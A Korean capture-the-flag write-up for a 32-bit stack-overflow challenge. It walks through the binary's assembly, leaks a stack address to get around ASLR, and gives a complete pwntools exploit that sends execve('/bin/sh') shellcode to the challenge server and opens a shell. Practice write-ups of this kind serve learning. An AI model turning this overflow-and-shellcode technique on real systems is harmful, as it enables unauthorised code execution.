analysis
이 문제는 아무것도 걸려있지 않다.
그리고 32bit 파일이다.
실행하면 위 문장이 출려되고 입력을 받는다.
아무래도 어셈블리로 봐야할 것 같다.
어셈블리도 이게 전부인데, 매우 간단하다.
크롬 syscall에서 가져온건데 거의 다 똑같은거 같아서.
int 0x80이 32bit에서는 syscall과 같은 역할을 수행한다.
eax가 0x4면 write를 하는데 이건 아무래도 위에서 입력받기 전에 출력하는 부분
이후,
read를 하는데 ebx를 0으로 만들어서 stdin 으로 입력받고
dl은 0x3c를 넣는다. ecx는 esp 그대로인듯. 따라서 esp에다가 0x3c만큼 입력받는다.
ret를 할 때 esp에다가 0x14만큼 더하고 ret를 하니까
그 만큼 뒤에 있는 _exit 가 들어있는 부분을 덮으면 된다.
NX가 걸려있지 않다고 한들, ASLR로 원하는 주소로 shellcode를 덮을 수 없을텐데 이를 어떻게 우회 가능할까.
stack 주소를 leak하면 된다. 아니면 간단히 브포를 때리거나. 32bit이면 크기가 알마 되지 않아 brute force가능하다.
아마 그래서 32bit로 만들지 않았을까 싶고..
근데 _exit 다음 스택 주소에 또 스택 주소가 있어서 leak 가능하다.
0x08048087 주소로 돌리면
0x08048087 <+39>: mov ecx,esp
0x08048089 <+41>: mov dl,0x14
0x0804808b <+43>: mov bl,0x1
0x0804808d <+45>: mov al,0x4
0x0804808f <+47>: int 0x80
0x08048091 <+49>: xor ebx,ebx
0x08048093 <+51>: mov dl,0x3c
0x08048095 <+53>: mov al,0x3
0x08048097 <+55>: int 0x80
=> 0x08048099 <+57>: add esp,0x14
0x0804809c <+60>: ret
가 실행되어서 ret 이후 스택 주소를 leak하고 입력받는다. 이를 이용해서 적절한 offset을 계산하고 shellcode로 흐름 변경 가능
생각보다 브포가 안되는거 같아서 leak하기로 했다.
exploit
00:0000│ ecx esp 0xffffce84 ◂— 0x41414141 ('AAAA')
01:0004│ 0xffffce88 ◂— 0x42424242 ('BBBB')
02:0008│ 0xffffce8c ◂— 0x43434343 ('CCCC')
03:000c│ 0xffffce90 ◂— 0x44444444 ('DDDD')
04:0010│ 0xffffce94 ◂— 0x3a46540a ('\nTF:')
05:0014│ 0xffffce98 —▸ 0x804809d (_exit) ◂— pop esp
06:0018│ 0xffffce9c —▸ 0xffffcea0 ◂— 0x1
07:001c│ 0xffffcea0 ◂— 0x1
스택을 보면 leak 한 주소 -0x1c를 해야 입력한 값이 들어가야하는 것이니까 이를 염두하여 leak후 ret를 돌린다.
https://gooverto.tistory.com/entry/Linux-x86-20byte-execve-shellcode
20byte shellcode는 여기서 구할 수 있다.
from pwn import *
#p = process('./start')
p = remote('chall.pwnable.tw', 10000)
sc = b"\x31\xC9\x8D\x41\x0B\x99\x68\x2F\x73\x68\x00\x68\x2F\x62\x69\x6E\x89\xE3\xCD\x80"
wr = p32(0x08048087)
p.recvuntil(b':')
payload = sc + wr
p.send(payload)
stack = u32(p.recvn(4))
print('stack_leak:', hex(stack))
p.recv()
payload = b'A' * 0x14 + p32(stack - 0x1c)
p.send(payload)
p.interactive()